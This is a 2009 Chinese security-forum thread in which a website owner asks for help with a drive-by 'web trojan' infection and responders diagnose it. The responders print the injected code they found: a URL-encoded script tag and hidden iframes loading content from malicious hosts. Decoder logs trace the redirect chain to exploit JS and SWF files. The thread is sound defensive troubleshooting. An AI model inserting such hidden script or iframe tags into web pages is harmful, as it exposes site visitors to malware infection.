我的网站被挂"大规模爆发性网马群VII"求帮助 bbs.ikaka.com

乐呵呵100 - 2009-10-23 21:29:00

这两天很郁闷啊,前段时间发现的挂马现象现在又出现了.补丁也打了.整个网站的程序下到电脑里用瑞星等又查杀不到,为什么传到服务器里又出现"大规模爆发性网马群VII"的提示和拦截,请帮帮啊,自己很菜,只好围着电脑着转圈圈啊.:kaka6: ,请大家帮帮,我的网站地址是WWW.JEMEI.CN我的QQ:331421154,请高手帮看看,不盛感激!

用户系统信息：Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)

夲號ヱ被ジ盜 - 2009-10-23 22:48:00

主页最上边一行<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<script src=http://h%6E3%67%70%2Ec%6E></script>
清除带有
http://h%6E3%67%70%2Ec%6E
的代码，我在你那网站主页发现四处

解码后：<script src=http://hn3gp.cn></script>
继续：

<iframe src=http://caq1.8866.org/dszq/2.htm

继续：
<html>
<iframe src=http://33hrf.cn/x2/xx.html width=111 height=0 border=0></iframe>
<br>

能力有限，以下是自动解密
关于:hxxp://33hrf.cn/x2/xx.html解密的日志(自动模式 - 18):

AUTO>http://33hrf.cn/x2/14.js
AUTO>http://33hrf.cn/x2/15.js
AUTO>http://33hrf.cn/x2/17.js
AUTO>http://33hrf.cn/x2/16.js
AUTO>http://33hrf.cn/x2/18.js
AUTO>http://33hrf.cn/x2/01.js
AUTO>http://33hrf.cn/x2/02.js
AUTO>http://33hrf.cn/x2/ytfl1.htm
AUTO>http://33hrf.cn/x2/of.htm
AUTO>http://33hrf.cn/x2/ytfl.htm
AUTO>http://33hrf.cn/x2/xx.html
AUTO>http://33hrf.cn/x2/td14.htm
AUTO>http://33hrf.cn/x2/yt.htm
AUTO>http://33hrf.cn/x2/td09.htm
AUTO>http://33hrf.cn/x2/yut.htm
AUTO>http://33hrf.cn/x2/ytu.htm
AUTO>http://33hrf.cn/x2/14.js
AUTO>http://d.lnxwy.com/xx/x2.css

日志由 Redoce1.9第36次修正版于 2009-10-23 22:46:11 生成。

是昔流芳 - 2009-10-23 22:49:00

关于:hxxp://www.jemei.cn/解密的日志(全体输出 - 20):

Level 0>http://www.jemei.cn/
Level 1>http://hn3gp.cn
Level 2>http://caq1.8866.org/dszq/2.htm
Level 3>http://js.tongji.linezing.com/1240663/tongji.js
Level 3>http://33hrf.cn/x2/xx.html
Level 4>http://33hrf.cn/x2/ytu.htm
Level 5>http://33hrf.cn/x2/ytfl.htm
Level 6>http://33hrf.cn/x2/ff.html
Level 7>http://33hrf.cn/x2/ff.js
Level 8>http://d.lnxwy.com/xx/x2.css ●
Level 7>http://33hrf.cn/x2/xp.swf ●
Level 7>http://33hrf.cn/x2/done.swf ●
Level 6>http://33hrf.cn/x2/ie.html
Level 4>http://33hrf.cn/x2/yut.htm
Level 4>http://33hrf.cn/x2/td09.htm
Level 4>http://33hrf.cn/x2/yt.htm
Level 4>http://33hrf.cn/x2/td14.htm
Level 1>http://www.jemei.cn/a
Level 1>http://www.jemei.cn/images/left_pro.jpg
Level 1>http://webpresence.qq.com/getonline?type=1&331421154:838824483:452869544:

网页分析：是昔流芳

尝试使用iframekill清除挂链

瑞星卡卡安全论坛